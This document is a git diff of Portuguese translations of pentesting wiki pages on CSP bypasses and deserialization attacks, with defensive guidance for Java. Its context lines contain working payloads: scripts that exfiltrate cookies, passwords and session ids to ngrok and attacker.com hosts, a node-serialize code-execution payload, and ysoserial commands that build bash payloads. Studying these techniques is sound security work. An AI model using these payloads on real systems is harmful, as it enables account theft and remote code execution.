||||
```markup
|
||||
```html
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
```
|
||||
@ -313,7 +313,7 @@ ou
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
Você deve ser capaz de exfiltrar dados, da mesma forma que sempre foi feito com [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Neste caso, você segue estes passos gerais:
|
||||
Você deve ser capaz de exfiltrar dados, da mesma forma que sempre foi feito com [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Neste caso, você segue estas etapas gerais:
|
||||
|
||||
1. Crie uma conta de desenvolvedor do Facebook aqui.
|
||||
2. Crie um novo aplicativo "Facebook Login" e selecione "Website".
|
||||
@ -322,14 +322,14 @@ Você deve ser capaz de exfiltrar dados, da mesma forma que sempre foi feito com
|
||||
5. Vá para o "Gerenciador de Eventos" do seu aplicativo e selecione o aplicativo que você criou (note que o gerenciador de eventos pode ser encontrado em uma URL semelhante a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
6. Selecione a aba "Test Events" para ver os eventos sendo enviados pelo "seu" site.
|
||||
|
||||
Então, do lado da vítima, você executa o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o app-id da conta de desenvolvedor do Facebook do atacante e emitir um evento personalizado como este:
|
||||
Então, do lado da vítima, você executa o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o app-id da conta de desenvolvedor do Facebook do atacante e emitir um evento personalizado assim:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
Quanto aos outros sete domínios de terceiros especificados na tabela anterior, existem muitas outras maneiras de abusar deles. Consulte o [post do blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) mencionado anteriormente para explicações adicionais sobre outros abusos de terceiros.
|
||||
Quanto aos outros sete domínios de terceiros especificados na tabela anterior, existem muitas outras maneiras de abusar deles. Consulte o [post de blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) anterior para explicações adicionais sobre outros abusos de terceiros.
|
||||
|
||||
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
@ -341,9 +341,9 @@ Por exemplo, se o CSP permitir o caminho `https://example.com/scripts/react/`, e
|
||||
```
|
||||
O navegador, em última análise, carregará `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Isso funciona porque, para o navegador, você está carregando um arquivo chamado `..%2fangular%2fangular.js` localizado em `https://example.com/scripts/react/`, que está em conformidade com CSP.
|
||||
Isso funciona porque, para o navegador, você está carregando um arquivo chamado `..%2fangular%2fangular.js` localizado em `https://example.com/scripts/react/`, que está em conformidade com o CSP.
|
||||
|
||||
∑, eles irão decodificá-lo, efetivamente solicitando `https://example.com/scripts/react/../angular/angular.js`, que é equivalente a `https://example.com/scripts/angular/angular.js`.
|
||||
∑, eles o decodificarão, efetivamente solicitando `https://example.com/scripts/react/../angular/angular.js`, que é equivalente a `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Ao **explorar essa inconsistência na interpretação de URL entre o navegador e o servidor, as regras de caminho podem ser contornadas**.
|
||||
|
||||
@ -383,7 +383,7 @@ Este trecho destaca o uso da diretiva `ng-focus` para acionar o evento, empregan
|
||||
```
|
||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
Uma política CSP que permite listas de domínios para carregamento de scripts em uma aplicação Angular JS pode ser contornada através da invocação de funções de callback e certas classes vulneráveis. Mais informações sobre esta técnica podem ser encontradas em um guia detalhado disponível neste [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
|
||||
Uma política CSP que permite listas de domínios para carregamento de scripts em uma aplicação Angular JS pode ser contornada através da invocação de funções de callback e certas classes vulneráveis. Mais informações sobre essa técnica podem ser encontradas em um guia detalhado disponível neste [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
|
||||
|
||||
Payloads funcionais:
|
||||
```html
|
||||
@ -397,9 +397,9 @@ Outros endpoints de execução arbitrária JSONP podem ser encontrados em [**aqu
|
||||
|
||||
### Bypass via Redirecionamento
|
||||
|
||||
O que acontece quando o CSP encontra redirecionamento do lado do servidor? Se o redirecionamento levar a uma origem diferente que não é permitida, ainda assim falhará.
|
||||
O que acontece quando o CSP encontra redirecionamento do lado do servidor? Se o redirecionamento levar a uma origem diferente que não é permitida, ainda falhará.
|
||||
|
||||
No entanto, de acordo com a descrição em [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se o redirecionamento levar a um caminho diferente, ele pode contornar as restrições originais.
|
||||
No entanto, de acordo com a descrição em [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se o redirecionamento levar a um caminho diferente, pode contornar as restrições originais.
|
||||
|
||||
Aqui está um exemplo:
|
||||
```html
|
||||
@ -467,7 +467,7 @@ Se um **parâmetro** enviado por você está sendo **colado dentro** da **declar
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
```
|
||||
Porque esta diretiva irá **substituir as diretivas existentes de script-src**.\
|
||||
Porque esta diretiva irá **substituir as diretivas script-src existentes**.\
|
||||
Você pode encontrar um exemplo aqui: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
|
||||
#### Edge
|
||||
@ -478,7 +478,7 @@ Exemplo: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3
|
||||
### img-src \*; via XSS (iframe) - Ataque de tempo
|
||||
|
||||
Note a falta da diretiva `'unsafe-inline'`\
|
||||
Desta vez você pode fazer a vítima **carregar** uma página sob **seu controle** via **XSS** com um `<iframe`. Desta vez você vai fazer a vítima acessar a página de onde você quer extrair informações (**CSRF**). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder **controlar o tempo que a página leva para carregar**, você pode extrair as informações que precisa.
|
||||
Desta vez você pode fazer a vítima **carregar** uma página sob **seu controle** via **XSS** com um `<iframe`. Desta vez você vai fazer a vítima acessar a página de onde você quer extrair informações (**CSRF**). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder **controlar o tempo que a página leva para carregar** você pode extrair as informações que precisa.
|
||||
|
||||
Desta vez uma **flag** será extraída, sempre que um **caractere for corretamente adivinhado** via SQLi a **resposta** leva **mais tempo** devido à função de sleep. Então, você poderá extrair a flag:
|
||||
```html
|
||||
@ -542,13 +542,13 @@ run()
|
||||
```
|
||||
### Via Bookmarklets
|
||||
|
||||
Este ataque implicaria alguma engenharia social onde o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Este bookmarklet conteria **código javascript malicioso** que, ao ser arrastado e solto ou clicado, seria executado no contexto da janela web atual, **contornando o CSP e permitindo roubar informações sensíveis** como cookies ou tokens.
|
||||
Este ataque implicaria alguma engenharia social onde o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Este bookmarklet conteria **código javascript malicioso** que, ao ser arrastado e solto ou clicado, seria executado no contexto da janela web atual, **burlando o CSP e permitindo roubar informações sensíveis** como cookies ou tokens.
|
||||
|
||||
Para mais informações [**ver o relatório original aqui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
Para mais informações [**verifique o relatório original aqui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### Bypass de CSP restringindo o CSP
|
||||
|
||||
Em [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é contornado ao injetar dentro de um iframe permitido um CSP mais restritivo que não permitia carregar um arquivo JS específico que, então, via **poluição de protótipo** ou **dom clobbering**, permitia **abusar de um script diferente para carregar um script arbitrário**.
|
||||
Em [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é burlado ao injetar dentro de um iframe permitido um CSP mais restritivo que não permitia carregar um arquivo JS específico que, então, via **poluição de protótipo** ou **dom clobbering**, permitia **abusar de um script diferente para carregar um script arbitrário**.
|
||||
|
||||
Você pode **restringir um CSP de um Iframe** com o atributo **`csp`**:
|
||||
```html
|
||||
@ -585,7 +585,7 @@ document.querySelector("DIV").innerHTML =
|
||||
|
||||
É interessante notar que navegadores como Chrome e Firefox têm comportamentos diferentes ao lidar com iframes em relação ao CSP, levando a um possível vazamento de informações sensíveis devido a comportamentos indefinidos.
|
||||
|
||||
Outra técnica envolve explorar o próprio CSP para deduzir o subdomínio secreto. Este método se baseia em um algoritmo de busca binária e na modificação do CSP para incluir domínios específicos que são deliberadamente bloqueados. Por exemplo, se o subdomínio secreto é composto por caracteres desconhecidos, você pode testar iterativamente diferentes subdomínios modificando a diretiva CSP para bloquear ou permitir esses subdomínios. Aqui está um trecho mostrando como o CSP pode ser configurado para facilitar este método:
|
||||
Outra técnica envolve explorar o próprio CSP para deduzir o subdomínio secreto. Este método se baseia em um algoritmo de busca binária e na alteração do CSP para incluir domínios específicos que são deliberadamente bloqueados. Por exemplo, se o subdomínio secreto é composto por caracteres desconhecidos, você pode testar iterativamente diferentes subdomínios modificando a diretiva CSP para bloquear ou permitir esses subdomínios. Aqui está um trecho mostrando como o CSP pode ser configurado para facilitar este método:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
@ -604,7 +604,7 @@ De acordo com a [**última técnica comentada neste vídeo**](https://www.youtub
|
||||
### Sobrecarga do buffer de resposta do PHP
|
||||
|
||||
O PHP é conhecido por **bufferizar a resposta em 4096** bytes por padrão. Portanto, se o PHP estiver mostrando um aviso, fornecendo **dados suficientes dentro dos avisos**, a **resposta** será **enviada** **antes** do **cabeçalho CSP**, fazendo com que o cabeçalho seja ignorado.\
|
||||
Assim, a técnica consiste basicamente em **preencher o buffer de resposta com avisos** para que o cabeçalho CSP não seja enviado.
|
||||
Então, a técnica consiste basicamente em **preencher o buffer de resposta com avisos** para que o cabeçalho CSP não seja enviado.
|
||||
|
||||
Ideia de [**este writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
@ -643,7 +643,7 @@ document.location = "https://attacker.com/?" + sessionid
|
||||
```
|
||||
### Meta tag
|
||||
|
||||
Você pode redirecionar injetando uma meta tag (isso é apenas um redirecionamento, isso não vazará conteúdo)
|
||||
Você pode redirecionar injetando uma tag meta (isso é apenas um redirecionamento, isso não vazará conteúdo)
|
||||
```html
|
||||
<meta http-equiv="refresh" content="1; http://attacker.com" />
|
||||
```
|
||||
@ -702,7 +702,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||
```
|
||||
### CredentialsContainer
|
||||
|
||||
O popup de credenciais envia uma solicitação DNS para o iconURL sem ser restrito pela página. Funciona apenas em um contexto seguro (HTTPS) ou no localhost.
|
||||
O popup de credenciais envia uma solicitação DNS para o iconURL sem ser restrito pela página. Funciona apenas em um contexto seguro (HTTPS) ou em localhost.
|
||||
```javascript
|
||||
navigator.credentials.store(
|
||||
new FederatedCredential({
|
||||
|
||||
@ -1,22 +1,22 @@
|
||||
# Deserialização
|
||||
# Deserialization
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informações Básicas
|
||||
## Basic Information
|
||||
|
||||
**Serialização** é entendida como o método de converter um objeto em um formato que pode ser preservado, com a intenção de armazenar o objeto ou transmiti-lo como parte de um processo de comunicação. Essa técnica é comumente empregada para garantir que o objeto possa ser recriado em um momento posterior, mantendo sua estrutura e estado.
|
||||
|
||||
**Deserialização**, por outro lado, é o processo que contrabalança a serialização. Envolve pegar dados que foram estruturados em um formato específico e reconstruí-los de volta em um objeto.
|
||||
**Desserialização**, por outro lado, é o processo que contrabalança a serialização. Envolve pegar dados que foram estruturados em um formato específico e reconstruí-los de volta em um objeto.
|
||||
|
||||
A deserialização pode ser perigosa porque potencialmente **permite que atacantes manipulem os dados serializados para executar código prejudicial** ou causar comportamentos inesperados na aplicação durante o processo de reconstrução do objeto.
|
||||
A desserialização pode ser perigosa porque potencialmente **permite que atacantes manipulem os dados serializados para executar código prejudicial** ou causar comportamentos inesperados na aplicação durante o processo de reconstrução do objeto.
|
||||
|
||||
## PHP
|
||||
|
||||
Em PHP, métodos mágicos específicos são utilizados durante os processos de serialização e deserialização:
|
||||
Em PHP, métodos mágicos específicos são utilizados durante os processos de serialização e desserialização:
|
||||
|
||||
- `__sleep`: Invocado quando um objeto está sendo serializado. Este método deve retornar um array com os nomes de todas as propriedades do objeto que devem ser serializadas. É comumente usado para comprometer dados pendentes ou realizar tarefas de limpeza semelhantes.
|
||||
- `__wakeup`: Chamado quando um objeto está sendo deserializado. É usado para restabelecer quaisquer conexões de banco de dados que possam ter sido perdidas durante a serialização e realizar outras tarefas de reinicialização.
|
||||
- `__unserialize`: Este método é chamado em vez de `__wakeup` (se existir) quando um objeto está sendo deserializado. Ele oferece mais controle sobre o processo de deserialização em comparação com `__wakeup`.
|
||||
- `__wakeup`: Chamado quando um objeto está sendo desserializado. É usado para restabelecer quaisquer conexões de banco de dados que possam ter sido perdidas durante a serialização e realizar outras tarefas de reinicialização.
|
||||
- `__unserialize`: Este método é chamado em vez de `__wakeup` (se existir) quando um objeto está sendo desserializado. Ele oferece mais controle sobre o processo de desserialização em comparação com `__wakeup`.
|
||||
- `__destruct`: Este método é chamado quando um objeto está prestes a ser destruído ou quando o script termina. É tipicamente usado para tarefas de limpeza, como fechar manipuladores de arquivos ou conexões de banco de dados.
|
||||
- `__toString`: Este método permite que um objeto seja tratado como uma string. Pode ser usado para ler um arquivo ou outras tarefas com base nas chamadas de função dentro dele, fornecendo efetivamente uma representação textual do objeto.
|
||||
```php
|
||||
@ -74,7 +74,7 @@ This is a test<br />
|
||||
*/
|
||||
?>
|
||||
```
|
||||
Se você olhar para os resultados, pode ver que as funções **`__wakeup`** e **`__destruct`** são chamadas quando o objeto é desserializado. Note que em vários tutoriais você encontrará que a função **`__toString`** é chamada ao tentar imprimir algum atributo, mas aparentemente isso **não está mais acontecendo**.
|
||||
Se você olhar para os resultados, pode ver que as funções **`__wakeup`** e **`__destruct`** são chamadas quando o objeto é desserializado. Note que em vários tutoriais você encontrará que a função **`__toString`** é chamada ao tentar imprimir algum atributo, mas aparentemente isso **não está acontecendo mais**.
|
||||
|
||||
> [!WARNING]
|
||||
> O método **`__unserialize(array $data)`** é chamado **em vez de `__wakeup()`** se estiver implementado na classe. Ele permite desserializar o objeto fornecendo os dados serializados como um array. Você pode usar este método para desserializar propriedades e realizar quaisquer tarefas necessárias após a desserialização.
|
||||
@ -94,7 +94,7 @@ Você pode ler um **exemplo explicado de PHP aqui**: [https://www.notsosecure.co
|
||||
|
||||
### PHP Deserial + Autoload Classes
|
||||
|
||||
Você pode abusar da funcionalidade de autoload do PHP para carregar arquivos php arbitrários e mais:
|
||||
Você poderia abusar da funcionalidade de autoload do PHP para carregar arquivos php arbitrários e mais:
|
||||
|
||||
{{#ref}}
|
||||
php-deserialization-+-autoload-classes.md
|
||||
@ -119,7 +119,7 @@ $ser=serialize($o);
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) pode ajudá-lo a gerar payloads para abusar de deserializações em PHP.\
|
||||
Note que em vários casos você **não conseguirá encontrar uma maneira de abusar de uma deserialização no código-fonte** da aplicação, mas pode ser capaz de **abusar do código de extensões PHP externas.**\
|
||||
Portanto, se puder, verifique o `phpinfo()` do servidor e **pesquise na internet** (e até nos **gadgets** do **PHPGGC**) alguns possíveis gadgets que você poderia abusar.
|
||||
Portanto, se puder, verifique o `phpinfo()` do servidor e **pesquise na internet** (e até mesmo nos **gadgets** do **PHPGGC**) alguns possíveis gadgets que você poderia abusar.
|
||||
|
||||
### deserialização de metadados phar://
|
||||
|
||||
@ -159,7 +159,7 @@ A página a seguir apresenta a técnica para **abusar de uma desserialização i
|
||||
python-yaml-deserialization.md
|
||||
{{#endref}}
|
||||
|
||||
### Poluição de Classe (Poluição de Protótipo Python)
|
||||
### Class Pollution (Poluição de Protótipo Python)
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
|
||||
@ -198,7 +198,7 @@ test_then()
|
||||
```
|
||||
### `__proto__` e poluição de `prototype`
|
||||
|
||||
Se você quiser aprender sobre esta técnica **dê uma olhada no seguinte tutorial**:
|
||||
Se você quiser aprender sobre essa técnica **dê uma olhada no seguinte tutorial**:
|
||||
|
||||
{{#ref}}
|
||||
nodejs-proto-prototype-pollution/
|
||||
@ -231,10 +231,10 @@ Dentro do arquivo `node-serialize/lib/serialize.js`, você pode encontrar a mesm
|
||||
|
||||
.png>)
|
||||
|
||||
Como você pode ver no último bloco de código, **se a flag for encontrada**, `eval` é usado para desserializar a função, então, basicamente, **a entrada do usuário está sendo usada dentro da função `eval`**.
|
||||
Como você pode ver no último bloco de código, **se a flag for encontrada**, `eval` é usado para desserializar a função, então basicamente **a entrada do usuário está sendo usada dentro da função `eval`**.
|
||||
|
||||
No entanto, **apenas serializar** uma função **não a executará**, pois seria necessário que alguma parte do código **chamasse `y.rce`** em nosso exemplo, e isso é altamente **improvável**.\
|
||||
De qualquer forma, você poderia apenas **modificar o objeto serializado**, **adicionando alguns parênteses** para que a função serializada seja executada automaticamente quando o objeto for desserializado.\
|
||||
No entanto, **apenas serializar** uma função **não a executará**, pois seria necessário que alguma parte do código **chamasse `y.rce`** em nosso exemplo e isso é altamente **improvável**.\
|
||||
De qualquer forma, você poderia apenas **modificar o objeto serializado** **adicionando alguns parênteses** para que a função serializada seja executada automaticamente quando o objeto for desserializado.\
|
||||
No próximo bloco de código, **note o último parêntese** e como a função `unserialize` executará automaticamente o código:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
@ -243,7 +243,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
|
||||
}
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
Conforme indicado anteriormente, esta biblioteca obterá o código após `_$$ND_FUNC$$_` e **o executará** usando `eval`. Portanto, para **auto-executar código**, você pode **deletar a parte de criação da função** e o último parêntese e **apenas executar um JS oneliner** como no seguinte exemplo:
|
||||
Conforme indicado anteriormente, esta biblioteca obterá o código após `_$$ND_FUNC$$_` e **o executará** usando `eval`. Portanto, para **auto-executar código**, você pode **deletar a parte de criação da função** e o último parêntese e **apenas executar um oneliner JS** como no seguinte exemplo:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test =
|
||||
@ -335,7 +335,7 @@ Preste atenção especial a:
|
||||
|
||||
#### Caixa Preta
|
||||
|
||||
Para testes de caixa preta, procure por **assinaturas específicas ou "Bytes Mágicos"** que denotam objetos serializados em java (originários de `ObjectInputStream`):
|
||||
Para testes de caixa preta, procure por **assinaturas específicas ou "Bytes Mágicos"** que denotam objetos serializados em java (originando de `ObjectInputStream`):
|
||||
|
||||
- Padrão hexadecimal: `AC ED 00 05`.
|
||||
- Padrão Base64: `rO0`.
|
||||
@ -348,11 +348,11 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
|
||||
```
|
||||
### Verifique se é vulnerável
|
||||
|
||||
Se você quiser **aprender como funciona um exploit de Deserialização em Java**, deve dar uma olhada em [**Deserialização Básica em Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialização DNS em Java**](java-dns-deserialization-and-gadgetprobe.md) e [**Payload CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
|
||||
Se você quer **aprender como funciona um exploit de Deserialização em Java**, você deve dar uma olhada em [**Deserialização Básica em Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialização de DNS em Java**](java-dns-deserialization-and-gadgetprobe.md), e [**Payload CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
|
||||
|
||||
#### Teste de Caixa Branca
|
||||
|
||||
Você pode verificar se há algum aplicativo instalado com vulnerabilidades conhecidas.
|
||||
Você pode verificar se há alguma aplicação instalada com vulnerabilidades conhecidas.
|
||||
```bash
|
||||
find . -iname "*commons*collection*"
|
||||
grep -R InvokeTransformer .
|
||||
@ -376,8 +376,8 @@ Você também pode usar [**Freddy**](https://github.com/nccgroup/freddy) para **
|
||||
|
||||
**Teste de Serialização**
|
||||
|
||||
Nem tudo se resume a verificar se alguma biblioteca vulnerável está sendo usada pelo servidor. Às vezes, você pode ser capaz de **alterar os dados dentro do objeto serializado e contornar algumas verificações** (talvez concedendo privilégios de admin dentro de uma webapp).\
|
||||
Se você encontrar um objeto java serializado sendo enviado para uma aplicação web, **você pode usar** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **para imprimir em um formato mais legível por humanos o objeto de serialização que está sendo enviado**. Saber quais dados você está enviando tornaria mais fácil modificá-los e contornar algumas verificações.
|
||||
Nem tudo se resume a verificar se alguma biblioteca vulnerável está sendo usada pelo servidor. Às vezes, você pode ser capaz de **alterar os dados dentro do objeto serializado e contornar algumas verificações** (talvez concedendo a você privilégios de administrador dentro de um webapp).\
|
||||
Se você encontrar um objeto Java serializado sendo enviado para uma aplicação web, **você pode usar** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **para imprimir em um formato mais legível por humanos o objeto de serialização que está sendo enviado**. Saber quais dados você está enviando tornaria mais fácil modificá-los e contornar algumas verificações.
|
||||
|
||||
### **Exploit**
|
||||
|
||||
@ -430,7 +430,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
|
||||
# Base64 encode payload in base64
|
||||
base64 -w0 payload
|
||||
```
|
||||
Ao criar um payload para **java.lang.Runtime.exec()**, você **não pode usar caracteres especiais** como ">" ou "|" para redirecionar a saída de uma execução, "$()" para executar comandos ou até mesmo **passar argumentos** para um comando separados por **espaços** (você pode fazer `echo -n "hello world"`, mas não pode fazer `python2 -c 'print "Hello world"'`). Para codificar corretamente o payload, você pode [usar esta página](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
Ao criar um payload para **java.lang.Runtime.exec()**, você **não pode usar caracteres especiais** como ">" ou "|" para redirecionar a saída de uma execução, "$()" para executar comandos ou até mesmo **passar argumentos** para um comando separados por **espaços** (você pode fazer `echo -n "hello world"`, mas não pode fazer `python2 -c 'print "Hello world"'`). Para codificar corretamente o payload, você pode [usar esta página da web](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
|
||||
Sinta-se à vontade para usar o próximo script para criar **todos os possíveis payloads de execução de código** para Windows e Linux e, em seguida, testá-los na página da web vulnerável:
|
||||
```python
|
||||
@ -461,7 +461,7 @@ Você pode **usar** [**https://github.com/pwntester/SerialKillerBypassGadgetColl
|
||||
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec) pode ser usado para gerar payloads para explorar diferentes **Json** e **Yml** bibliotecas de serialização em Java.\
|
||||
Para compilar o projeto, eu precisei **adicionar** estas **dependências** ao `pom.xml`:
|
||||
```markup
|
||||
```html
|
||||
<dependency>
|
||||
<groupId>javax.activation</groupId>
|
||||
<artifactId>activation</artifactId>
|
||||
@ -475,7 +475,7 @@ Para compilar o projeto, eu precisei **adicionar** estas **dependências** ao `p
|
||||
<type>pom</type>
|
||||
</dependency>
|
||||
```
|
||||
**Instale o maven** e **compile** o projeto:
|
||||
**Instale o maven**, e **compile** o projeto:
|
||||
```bash
|
||||
sudo apt-get install maven
|
||||
mvn clean package -DskipTests
|
||||
@ -495,7 +495,7 @@ Java usa muita serialização para vários propósitos, como:
|
||||
|
||||
- **Requisições HTTP**: A serialização é amplamente empregada na gestão de parâmetros, ViewState, cookies, etc.
|
||||
- **RMI (Remote Method Invocation)**: O protocolo RMI do Java, que depende inteiramente da serialização, é uma pedra angular para comunicação remota em aplicações Java.
|
||||
- **RMI over HTTP**: Este método é comumente usado por aplicações web de cliente grosso baseadas em Java, utilizando serialização para todas as comunicações de objetos.
|
||||
- **RMI sobre HTTP**: Este método é comumente usado por aplicações web de cliente grosso baseadas em Java, utilizando serialização para todas as comunicações de objetos.
|
||||
- **JMX (Java Management Extensions)**: O JMX utiliza serialização para transmitir objetos pela rede.
|
||||
- **Protocolos personalizados**: Em Java, a prática padrão envolve a transmissão de objetos Java brutos, que serão demonstrados em exemplos de exploração futuros.
|
||||
|
||||
@ -510,9 +510,9 @@ public class myAccount implements Serializable
|
||||
private transient double profit; // declared transient
|
||||
private transient double margin; // declared transient
|
||||
```
|
||||
#### Evite a serialização de uma classe que precisa implementar Serializable
|
||||
#### Evite a Serialização de uma classe que precisa implementar Serializable
|
||||
|
||||
Em cenários onde certos **objetos devem implementar a interface `Serializable`** devido à hierarquia de classes, há um risco de desserialização não intencional. Para evitar isso, garanta que esses objetos sejam não desserializáveis definindo um método `readObject()` `final` que sempre lança uma exceção, como mostrado abaixo:
|
||||
Em cenários onde certos **objetos devem implementar a interface `Serializable`** devido à hierarquia de classes, há um risco de desserialização não intencional. Para evitar isso, garanta que esses objetos sejam não desserializáveis definindo um método `readObject()` `final` que sempre lança uma exceção, conforme mostrado abaixo:
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
@ -525,7 +525,7 @@ throw new java.io.IOException("Cannot be deserialized");
|
||||
- O código de desserialização está sob seu controle.
|
||||
- As classes esperadas para desserialização são conhecidas.
|
||||
|
||||
Substitua o **`resolveClass()`** método para limitar a desserialização apenas às classes permitidas. Isso impede a desserialização de qualquer classe, exceto aquelas explicitamente permitidas, como no seguinte exemplo que restringe a desserialização apenas à classe `Bicycle`:
|
||||
Substitua o método **`resolveClass()`** para limitar a desserialização apenas às classes permitidas. Isso impede a desserialização de qualquer classe, exceto aquelas explicitamente permitidas, como no seguinte exemplo que restringe a desserialização apenas à classe `Bicycle`:
|
||||
```java
|
||||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||
@ -546,7 +546,7 @@ return super.resolveClass(desc);
|
||||
}
|
||||
}
|
||||
```
|
||||
**Usando um Agente Java para Aumento de Segurança** oferece uma solução alternativa quando a modificação de código não é possível. Este método se aplica principalmente para **colocar em lista negra classes prejudiciais**, usando um parâmetro JVM:
|
||||
**Usando um Agente Java para Aumento de Segurança** oferece uma solução alternativa quando a modificação de código não é possível. Este método se aplica principalmente para **bloquear classes prejudiciais**, usando um parâmetro JVM:
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
@ -577,7 +577,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
### Referências
|
||||
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
|
||||
- Palestra sobre desserialização e ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- Desserialização e palestra sobre ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||||
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||||
- Palestra sobre gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) e slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
@ -589,7 +589,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
|
||||
## Injeção JNDI & log4Shell
|
||||
|
||||
Descubra o que é **Injeção JNDI, como abusar dela via RMI, CORBA & LDAP e como explorar log4shell** (e um exemplo dessa vulnerabilidade) na seguinte página:
|
||||
